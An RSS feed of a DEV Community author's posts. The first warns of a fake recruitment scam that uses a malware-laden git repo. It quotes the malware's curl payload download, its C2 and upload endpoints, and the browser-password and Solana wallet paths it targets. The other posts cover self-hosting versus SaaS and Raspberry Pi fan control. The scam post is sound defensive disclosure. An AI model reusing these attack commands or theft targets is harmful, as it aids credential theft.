<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Andrei Telteu</title>
    <description>The latest articles on DEV Community by Andrei Telteu (@andreitelteu).</description>
    <link>https://dev.to/andreitelteu</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F928319%2Ff0e07b4e-5add-4820-8809-320646d36a2e.jpeg</url>
      <title>DEV Community: Andrei Telteu</title>
      <link>https://dev.to/andreitelteu</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/andreitelteu"/>
    <language>en</language>
    <item>
      <title>Beware recruitment emails with malware infected git repos ! admin@autosquare.store scam</title>
      <dc:creator>Andrei Telteu</dc:creator>
      <pubDate>Fri, 29 Nov 2024 12:12:20 +0000</pubDate>
      <link>https://dev.to/andreitelteu/beware-recruitment-emails-with-malware-infected-git-repos-adminautosquarestore-scam-431o</link>
      <guid>https://dev.to/andreitelteu/beware-recruitment-emails-with-malware-infected-git-repos-adminautosquarestore-scam-431o</guid>
      <description>&lt;p&gt;New update. Read at the bottom ⏬&lt;/p&gt;

&lt;p&gt;I received this email: from sender: &lt;code&gt;admin@autosquare.store&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz9eztxmnul6ry2i15nap.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz9eztxmnul6ry2i15nap.png" alt="first email" width="800" height="613"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Figma design link: &lt;code&gt;https://www.figma.com/design/3p7jJDw9itkYYCTi0IqAJh/AutoSquare.Store?node-id=452-7274&amp;amp;t=R1qT9n8hKbqg98sN-1&lt;/code&gt; (looks very legit)&lt;/p&gt;

&lt;p&gt;I replied that I am interested and asked for a job description. He replied back with:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fshmb05jjhmgar43meq65.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fshmb05jjhmgar43meq65.png" alt="second email" width="800" height="649"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Red Flag&lt;/strong&gt; ! Usually companies keep their source private and a candidate gets access to it only when after video meetings and an agreement for the work required.&lt;br&gt;
Some companies also require an NDA to be signed before giving access to it's source code.&lt;/p&gt;

&lt;p&gt;The bitbucket link is: &lt;code&gt;https://autosquare-admin@bitbucket.org/autosquareshop/autopart.git&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;A binary file caught my eye called "car.dll". &lt;strong&gt;Red Flag&lt;/strong&gt; ! Never trust files that end in .exe .dll .bat .ps1 !&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcx7p7dt0ouqda5guwekg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcx7p7dt0ouqda5guwekg.png" alt="project structure" width="800" height="795"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The virusreport scan for this binary file is: &lt;a href="https://www.virustotal.com/gui/file/1fd921159de8ccf3c33c7ad3d52a4186c2695b858435e8e327c4d95a8d1b048a/detection" rel="noopener noreferrer"&gt;https://www.virustotal.com/gui/file/1fd921159de8ccf3c33c7ad3d52a4186c2695b858435e8e327c4d95a8d1b048a/detection&lt;/a&gt;&lt;br&gt;
and shows 4 detections as malware, along with external network calls to this endpoints:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET http://www.royalsevres.com/javascript/activex_patch.hwp 200
POST http://103.35.190.170/Proxy.php 200
POST https://45.8.146.93:443/proxy/Proxy.php 200
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I outlined the tailwind.config.js file because I found there 2 more red flags:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;obfuscated code&lt;/strong&gt;. No real project needs obfuscated code in this config file.&lt;/li&gt;
&lt;li&gt;plain code that starts the &lt;strong&gt;car.dll malware&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I just want to raise awareness of this new type of scam.&lt;/p&gt;

&lt;h2&gt;
  
  
  UPDATE
&lt;/h2&gt;

&lt;p&gt;I forgot to mention, the car.dll (or any .dll) malware only applies for &lt;strong&gt;Windows OS&lt;/strong&gt; !&lt;br&gt;
If you use Mac or Linux you should be safe from car.dll.&lt;/p&gt;

&lt;p&gt;However you are &lt;strong&gt;not safe from the obfuscated js code&lt;/strong&gt;. I tried to decode it using &lt;a href="https://obf-io.deobfuscate.io/" rel="noopener noreferrer"&gt;https://obf-io.deobfuscate.io/&lt;/a&gt; but I don't understand exacly what it's doing.&lt;/p&gt;

&lt;p&gt;It imports the following packages: &lt;code&gt;fs&lt;/code&gt; (uses &lt;code&gt;fs.readdirSync&lt;/code&gt;, &lt;code&gt;statSync&lt;/code&gt;, &lt;code&gt;createReadStream&lt;/code&gt;, &lt;code&gt;copyFile&lt;/code&gt;, &lt;code&gt;writeFileSync&lt;/code&gt;), &lt;code&gt;os&lt;/code&gt; (uses os.&lt;code&gt;hostname&lt;/code&gt;, &lt;code&gt;platform&lt;/code&gt;, &lt;code&gt;homedir&lt;/code&gt;, &lt;code&gt;tmpdir&lt;/code&gt;, &lt;code&gt;type&lt;/code&gt;), &lt;code&gt;path&lt;/code&gt;, &lt;code&gt;request&lt;/code&gt;, &lt;code&gt;child_process.exec&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I also found this strings: &lt;code&gt;.ldb&lt;/code&gt;, &lt;code&gt;.log&lt;/code&gt;, &lt;code&gt;Local/BraveSoftware/Brave-Browser&lt;/code&gt;, &lt;code&gt;Local/Google/Chrome&lt;/code&gt;, &lt;code&gt;Roaming/Opera Software/Opera Stable&lt;/code&gt;, &lt;code&gt;Local/Microsoft/Edge&lt;/code&gt;, &lt;code&gt;/Library/Application Support/&lt;/code&gt;, &lt;code&gt;Firefox&lt;/code&gt;, &lt;code&gt;solana_id.txt&lt;/code&gt;, &lt;code&gt;/.config/solana/id.json&lt;/code&gt;, &lt;code&gt;/AppData/&lt;/code&gt;, &lt;code&gt;/User Data&lt;/code&gt;, &lt;code&gt;Login Data&lt;/code&gt;, &lt;code&gt;/Library/Keychains/login.keychain&lt;/code&gt;, &lt;code&gt;/.local/share/keyrings/&lt;/code&gt;, &lt;code&gt;/.mozilla/firefox/&lt;/code&gt;, &lt;code&gt;\\.pyp\\python.exe&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If I had to guess, it scans your Edge, Chrome, Firefox and Opera browser, on &lt;strong&gt;both Windows and Mac&lt;/strong&gt; for local files containing the database where your passwords are stored, and searches for something related to Solana Blockchain ? Maybe it searches for your private keyfile.&lt;/p&gt;

&lt;p&gt;It also uses curl to download a zip file:&lt;br&gt;
&lt;code&gt;curl -Lo "tempdir\\p.zi" "http://45.83.140.231/pdown"&lt;/code&gt;&lt;br&gt;
From Cyprus &lt;a href="https://iplocation.com/?ip=45.83.140.231" rel="noopener noreferrer"&gt;https://iplocation.com/?ip=45.83.140.231&lt;/a&gt;&lt;br&gt;
I downloaded and extracted the file out of curiosity and it contains the python binary and some libraries.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw3tw2esj12grtz0qtpip.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw3tw2esj12grtz0qtpip.png" alt="contents of zip" width="800" height="553"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I also found:&lt;br&gt;
&lt;code&gt;POST http://45.83.140.231/uploads&lt;/code&gt; - where the script uploads the stolen information from your browser&lt;br&gt;
&lt;code&gt;GET http://45.83.140.231/client/xyz2&lt;/code&gt; - another obfuscated script, in python&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;I belive that the obfuscated js snippet hidden in tailwind.config.js tries to steal your informations from your browser like your session cookies, saved passwords and solana wallet, and uploads it to 45.83.140.231&lt;br&gt;
I sent an abuse report to the hosting company that owns this IP.&lt;/p&gt;

&lt;p&gt;I found other people talking about this scam:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.linkedin.com/posts/%F0%9F%8C%90-sebastien-orlandini-%E2%9A%9B%EF%B8%8F-%F0%9F%8C%8E-462840292_scamalert-scam-developertips-activity-7270145676133474307-zwWx/" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0zl1yzmfbta7fsso0iik.png" alt="linkedin post1" width="568" height="555"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.linkedin.com/posts/tolguy-james-ture-8b0085136_scamalert-developertips-cybersecurity-activity-7268286884324220928-rHyF/" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foyq3o6d3j4lf5ptt9bjc.png" alt="linkedin post2" width="573" height="481"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.linkedin.com/posts/anushka-pote_scamalert-scam-developertips-activity-7270293778135953408-ENuG/" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0fcdtd552qxdipxxx87w.png" alt="linkedin post3" width="572" height="467"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>beware</category>
      <category>scams</category>
      <category>malware</category>
    </item>
    <item>
      <title>Should you self-host open-source services or pay for hosted versions ?</title>
      <dc:creator>Andrei Telteu</dc:creator>
      <pubDate>Fri, 22 Nov 2024 02:26:27 +0000</pubDate>
      <link>https://dev.to/andreitelteu/should-you-self-host-open-source-services-or-pay-for-hosted-versions--4ga3</link>
      <guid>https://dev.to/andreitelteu/should-you-self-host-open-source-services-or-pay-for-hosted-versions--4ga3</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Featured image by ChatGPT/DALL-E&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I was watching this video on using a paid hosted version of an open-source software instead of self-hosting it:&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/TkysPcpK0aQ"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;There are both benefits and risks to each approach that you should take in consideration when you make a choice like this.&lt;/p&gt;

&lt;p&gt;This also depends on how this service affects your business:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A.&lt;/strong&gt; If this service is &lt;strong&gt;critical to your business&lt;/strong&gt;: (like for example the in browser IDE that the above video mentions for his e-learning platform)&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;you should &lt;strong&gt;self host&lt;/strong&gt; if possible.&lt;/li&gt;
&lt;li&gt;you should &lt;strong&gt;know&lt;/strong&gt; the ins and outs of. Gain as much knowledge as you can.&lt;/li&gt;
&lt;li&gt;you should &lt;strong&gt;spend as much time as needed&lt;/strong&gt; for this integration to be &lt;strong&gt;frictionless and perfect&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Arguments&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;This is the &lt;strong&gt;core&lt;/strong&gt; of your business ! It should be the feature that &lt;strong&gt;differentiates&lt;/strong&gt; you from any other competitor.&lt;/li&gt;
&lt;li&gt;If something goes wrong and you have to change this service, there will be a &lt;strong&gt;very high impact&lt;/strong&gt; on your customers. Maybe you can't find a good enough alternative, or one with the same features/customizations. The vendor lock-in here has a high impact.&lt;/li&gt;
&lt;li&gt;You are free to change/improove any of the features of said service given enough dev time and a permissive code license.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;B.&lt;/strong&gt; If the service is &lt;strong&gt;not&lt;/strong&gt; critical: (like your support ticket system, chat support, invoicing system, payment provider, knowledge base, blog, license management, etc)&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;you should use a hosted version / Software As A Service / external solution.&lt;/li&gt;
&lt;li&gt;you should spend as little time as needed.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Arguments&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It it not the core of your business, it does not matter that much.&lt;/li&gt;
&lt;li&gt;If something goes wrong and you have to change this service there will be very little impact on your customers. Many of them won't even notice. If you can't find an alternative with the same features, it doesn't matter that much.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The &lt;strong&gt;risks&lt;/strong&gt; involved for hosted versions / SaaS
&lt;/h2&gt;

&lt;p&gt;I want to present to you some scenarios in which the hosted version can affect your startup:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;The external company can go bankrupt and you have to migrate off it as quick as possible.&lt;br&gt;
You don't know their financial situation.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The external company can focus on a new product and deprecate / stop support for your version.&lt;br&gt;
You don't know their roadmap.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;When you evolve and want to add/improve a feature you are limited to the customization provider and the external prover's willingness to work with you to change something for you. &lt;br&gt;
This can change over time as you grow or your external provider grows.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The external company can shift its focus on enterprise and increase prices overnight by 100x.&lt;br&gt;
You don't know their leadership.&lt;br&gt;
For example this &lt;a href="https://robindev.substack.com/p/cloudflare-took-down-our-website" rel="noopener noreferrer"&gt;120k$ forced bill from CloudFlare&lt;/a&gt; (&lt;a href="https://www.youtube.com/watch?v=8zj7ei5Egk8" rel="noopener noreferrer"&gt;ThePrimeagen video here&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The external company can get hacked and your customers data can be leaked. Even if the external service does not host any of your customers data, if they get hacked, the bad actor can modify the service to steal customers data without you taking any action (like upgrading a npm dependency like in the case of a supply chain attack).&lt;br&gt;
You don't know the security measures that all your external services apply to their business.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;When the external provider of one of your &lt;strong&gt;CORE&lt;/strong&gt; features has an outage, you have an outage that you can't do anything about.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  The benefits of &lt;strong&gt;Self-Hosting&lt;/strong&gt; !
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;When you need a feature/customization that is not supported by your external solution: you just fork it and invest dev time into it. (If the license supports it)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;When something breaks, code regression: you have the power to rollback. You don't have to wait for the external provider to fix it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;When you have an outage because of a bad config: you have the power to fix it and change your deployment procedure to never happen again.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;When you have an outage because of your hosting provider: you can change your hosting.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;My point is that the CORE features of your business should be as close to your control as possible.&lt;br&gt;
Too many external dependencies increase your overall risk because companies are not your buddies from high school, companies evolve, companies change, companies get bought out, companies get hacked, and so on.&lt;/p&gt;

&lt;p&gt;For your startup the risks are worth the time saved ?&lt;br&gt;
At the stage you are at ?&lt;br&gt;
What about at a later stage ?&lt;/p&gt;




&lt;p&gt;Checkout my blog at &lt;a href="https://telteu.ro" rel="noopener noreferrer"&gt;telteu.ro&lt;/a&gt;&lt;/p&gt;

</description>
      <category>startup</category>
      <category>devops</category>
      <category>cloud</category>
    </item>
    <item>
      <title>How to control a Noctua NF-A20 PWM fan from Raspberry Pi (OFF or 20%-100%)</title>
      <dc:creator>Andrei Telteu</dc:creator>
      <pubDate>Sun, 17 Nov 2024 03:05:06 +0000</pubDate>
      <link>https://dev.to/andreitelteu/how-to-control-a-noctua-nf-a20-pwm-fan-from-raspberry-pi-off-or-20-100-25kn</link>
      <guid>https://dev.to/andreitelteu/how-to-control-a-noctua-nf-a20-pwm-fan-from-raspberry-pi-off-or-20-100-25kn</guid>
      <description>&lt;p&gt;&lt;a href="https://i.postimg.cc/mrGxf0tP/noctua-pwm-pi-ezgif-com-optimize.gif" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff1up0iwyp0i8jdvsydue.gif" alt="demo gif" width="180" height="94"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I am making my homelab and I need to control the &lt;a href="https://noctua.at/en/nf-a20-pwm-chromax-black-swap" rel="noopener noreferrer"&gt;Noctua NF-A20 PWM chromax.black.swap 200x200mm&lt;/a&gt; fan from Raspberry Pi, and this is how I've done it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Parts you need:
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Some Raspberry Pi&lt;/li&gt;
&lt;li&gt;The Noctua fan (should work with other 12V noctua fans as well)&lt;/li&gt;
&lt;li&gt;A multimeter&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.amazon.com/Adjustable-Converter-Transformer-Regulator-3-5V-35V/dp/B092CJBL92" rel="noopener noreferrer"&gt;LM2577 DC-DC Step Up Booster Converter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.amazon.com/ALLECIN-2N2222-Amplifier-Transistors-Transistor/dp/B0CBK1T5FQ" rel="noopener noreferrer"&gt;NPN Transistor&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;1K Ohm Resistor&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Diagram:
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj5dy4p0omgvp304kvoul.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj5dy4p0omgvp304kvoul.png" alt="diagram image" width="800" height="774"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Let's start from the Pi:
&lt;/h2&gt;

&lt;p&gt;1- Connect a wire from GPIO pin 16, or any simple gpio pin, to the 1k resistor, and then the other end of the transistor to the middle pin of the transistor.&lt;/p&gt;

&lt;p&gt;2- A wire from the right pin of the transistor to any ground pin of the Pi. The face of the transistor is the flat one.&lt;/p&gt;

&lt;p&gt;3- A wire from the left pin of the transistor to the "IN-" 5V negative input of the power convertor.&lt;/p&gt;

&lt;p&gt;4- A wire from one of the 5V Pi pins (top right) to the "IN+" 5V positive input of the power convertor.&lt;/p&gt;

&lt;p&gt;5- &lt;strong&gt;Important&lt;/strong&gt;: adjust the converter to 12V or lower.&lt;br&gt;
Do NOT connect the fan right now because you can permanently damage it because of high voltage.&lt;br&gt;
    A- Turn on the converter by connecting a ground pin from the Pi directly to the Power Converter's "IN-" connector OR by runing the code from the next section and just calling &lt;code&gt;speed(fan, 100) / time.sleep(180)&lt;/code&gt;.&lt;br&gt;
    B- Connect a multimeter to the converter's "OUT+" and "OUT-" and select voltage.&lt;br&gt;
    C- Turn the small yellow screw until the multimeter shows 12V or a bit smaller to be safe. I have mine at 11.5V.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fodwj5rlwvaev44w22ld8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fodwj5rlwvaev44w22ld8.png" alt="wer converter adjustment nob" width="800" height="204"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;    D- When you are done disconnect the multimeter and the ground wire, or turn off the script.&lt;/p&gt;

&lt;p&gt;The pinout from the noctua fan I found here: &lt;br&gt;
&lt;a href="https://faqs.noctua.at/en/support/solutions/articles/101000081757-what-pin-configuration-do-noctua-fans-use-" rel="noopener noreferrer"&gt;https://faqs.noctua.at/en/support/solutions/articles/101000081757-what-pin-configuration-do-noctua-fans-use-&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6uosfj5iasn7drsa8dt3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6uosfj5iasn7drsa8dt3.png" alt="noctua pinout image" width="800" height="123"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;5- Wire from power convertor "OUT-" (12V negative) to noctua pin 1&lt;/p&gt;

&lt;p&gt;6- Wire from power convertor "OUT+" (12V positive) to noctua pin 2&lt;/p&gt;

&lt;p&gt;5- Wire from noctua pin 4 to Pi GPIO pin 12. &lt;a href="https://pinout.xyz/pinout/pin32_gpio12/" rel="noopener noreferrer"&gt;This pin has PWM capability&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  The code:
&lt;/h2&gt;

&lt;p&gt;I used the code from this &lt;a href="https://www.the-diy-life.com/connecting-a-pwm-fan-to-a-raspberry-pi/" rel="noopener noreferrer"&gt;tutorial published on the-diy-life.com by Michael Klements&lt;/a&gt; (&lt;a href="https://github.com/mklements/PWMFanControl/blob/main/FanProportional.py" rel="noopener noreferrer"&gt;original code&lt;/a&gt;), and I modified it to use the transistor to turn off the fan, because the fan PWM does not scale down to 0 RPM. The &lt;a href="https://noctua.at/en/nf-a20-pwm-chromax-black-swap/specification" rel="noopener noreferrer"&gt;minimum rotational speed is 20%&lt;/a&gt; (350RPM).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;RPi.GPIO&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;GPIO&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;signal&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;

&lt;span class="c1"&gt;# The Noctua PWM control actually wants 25 kHz (kilo!), see page 6 on:
# https://noctua.at/pub/media/wysiwyg/Noctua_PWM_specifications_white_paper.pdf
&lt;/span&gt;&lt;span class="n"&gt;PWM_FREQ&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;           &lt;span class="c1"&gt;# [Hz] PWM frequency
&lt;/span&gt;&lt;span class="n"&gt;FAN_PIN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;            &lt;span class="c1"&gt;# BCM pin used to drive PWM fan
&lt;/span&gt;&lt;span class="n"&gt;TRAN_PIN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;           &lt;span class="c1"&gt;# NPN Transistor
&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;speed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fan&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;percent&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;set fan to&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;percent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;percent&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;GPIO&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;output&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TRAN_PIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;fan&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ChangeDutyCycle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;GPIO&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;output&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TRAN_PIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;fan&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ChangeDutyCycle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;percent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
